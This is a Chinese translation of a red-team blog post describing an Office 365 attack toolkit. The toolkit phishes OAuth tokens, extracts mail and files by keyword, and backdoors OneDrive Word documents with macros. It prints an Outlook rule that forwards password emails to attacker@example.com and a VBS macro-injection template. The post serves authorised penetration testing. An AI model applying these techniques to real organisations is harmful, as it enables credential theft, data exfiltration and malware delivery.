office365.jpg

在红队参与期间,我们经常会与使用Office 365的组织进行联系。而当前针对这种环境的工具十分有限,这意味着我们可能需要在参与期间进行开发。为了更好地为这些环境做好准备,我们开发了一个专门针对Office 365的工具包。

本文我们将探讨如何在Office 365大量使用的环境中,通过利用这些功能来帮助我们的红队参与。

概要

简而言之,我们的工具包允许执行身份验证令牌钓鱼,以提取你可能感兴趣的特定信息。这项技术本身并不新鲜,像Fancy Bear (APT28) 这样的组织,就在过去针对谷歌的活动中使用过OAuth钓鱼。

当前版本工具包的特性如下:

提取与特定关键字匹配的电子邮件

创建恶意Outlook规则

从OneDrive/Sharepoint中提取文件

对存储的word文档的宏注入

在深入了解如何使用此工具包之前,让我们先简要介绍一下主要组件:

钓鱼端点(Phishing Endpoint )- 此端点负责提供执行令牌钓鱼的HTML文件。

后端服务(Backend Service)- 此服务将使用“盗取”令牌并执行定义的攻击。

管理界面(Management Interface )- 管理界面可用于检查提取的信息。

建议按照如下方式部署此工具包:

1.png

部署

为了突出本文的重点,我们将不会详细介绍有关如何编译,基础架构如何设置等问题。我们假设已安装了所有依赖,并已设置HTTPS redirector;我们将只关注与工具包相关的配置。

首先,我们需要更新配置以符合我们的需求。你可在template.conf进行配置。

示例配置如下:

[server]
 host = 127.0.0.1 ; The IP address for the external listener.
 externalport = 30662 ; Port for the external listener
 certificate = server.crt ; Certificate for the external listener
 key = server.key ; Key for the external listener
 internalport = 8080 ; Port for the internal listener.
 ; Keywords used for extracting emails and files of a user.
 [keywords]
 outlook = pass,vpn,creds,credentials,new onedrive = password,.config,.xml,db,database,mbd 
 [backdoor]
 enabled = true ; Enable/Disable this feature
 macro = "C:\Test.bas" ; The location of the macro file to use for backdooring documents

根据需要配置你的工具包后,需要在Azure门户上创建一个应用。转到Azure Active Directory -> App Registrations -> Register an application:

2.png

注册应用后,你需要复制应用ID并使用你的应用程序ID更改static/index.html。

此外,应将连接到钓鱼端点的HTTPS redirector URL作为此Azure应用上的重定向URL添加。

要添加重定向URL,请导航到该应用程序,然后单击添加重定向URL即可。

3.png

例如,这里我的URL为:https://myphishingurl.com/

4.png

由于钓鱼端点是单页面应用程序,因此你需要在高级设置(Advanced settings)上启用隐式授权流程( implicit grant flow)。

5.png

网络钓鱼登录页用于演示目的,你也可以在static/index.html上更改你的登录页面外观。

特性

以下是工具包初始版本中当前实现的所有功能的简要说明。

基于关键字的 Outlook Email 提取

此工具包可以使用关键字提取用户的电子邮件。对于配置文件中定义的每个关键字,将下载所有与之匹配的电子邮件并将其存储在数据库中。这些电子邮件可以由之后由操作人员检查。

Outlook 规则创建

Microsoft Graph API支持创建Outlook规则。你可以通过将规则JSON文件放置在rules/文件夹中来定义不同的规则。

有关如何创建规则的更多信息,请参阅MSDN文档

出于演示目的,以下是一个规则的示例。在加载时,会将主体包含“password”关键字的每封电子邮件转发到attacker@example.com:

{      
     "displayName": "Example Rule",      
     "sequence": 2,      
     "isEnabled": true,          
     "conditions": {
         "bodyContains": [ "password" ]
      },
      "actions": {
         "forwardTo": [
           {
              "emailAddress": {
                 "name": "Attacker Email",
                 "address": "attacker@example.com" }
            }
         ],
         "stopProcessingRules": false }    
 }

基于关键字的 OneDrive/Sharepoint 文件提取

Microsoft Graph API可用于访问OneDrive,OneDrive for Business和SharePoint文档库中的文件。此工具包可以使用关键字提取用户文件。对于配置文件中的每个已定义关键字,将下载并保存与其匹配的所有文档。然后,操作人员可以使用管理界面检查文档。

Word 文档宏感染

在OneDrive上托管的用户文档可以通过注入宏来后门。如果启用此功能,用户访问的最后15个文档将被下载,并使用配置文件中定义的宏进行后门操作。上传后门文件后,文档的扩展名将被更改为.doc,以在Word上支持宏。应该注意的是,在对文档进行后门操作之后,它们不能在线编辑,这增加了我们执行payload的机会。

此功能只能在Windows上使用,因为宏的插入是使用Word COM对象完成的。VBS文件由下面的模板构建并执行,因此如果你看到wscript.exe正在运行,请不要慌张。

Dim wdApp Set wdApp = CreateObject("Word.Application")
 wdApp.Documents.Open("{DOCUMENT}")
 wdApp.Documents(1).VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "{MACRO}" wdApp.Documents(1).SaveAs2 "{OUTPUT}", 0

Demo

让我们来看一个简单的演示:

安全考虑

除了工具所具有的功能外,它还会在运行的主机上打开一些攻击面。首先,宏感染功能将打开word文件,如果你运行的是未修补的Office版本,可能会增加你的安全风险。此外,提取文件有可能下载到一些恶意文件,这些文件将被保存在你的电脑上。

OpSec方法可能包括正确隔离你的基础架构,并且只允许与HTTPS redirector和Microsoft Graph API进行通信。

这篇文章由Rio Sherri撰写,工具包可以从MDSec Activebreach Github进行下载

注:在完成这项研究后,我们发现FireEye创建的现有工具包(PwnAuth)也采用了类似的方法,因此也应得到大家的认可。

*参考来源:mdsec,FB小编secist编译,转自FreeBuf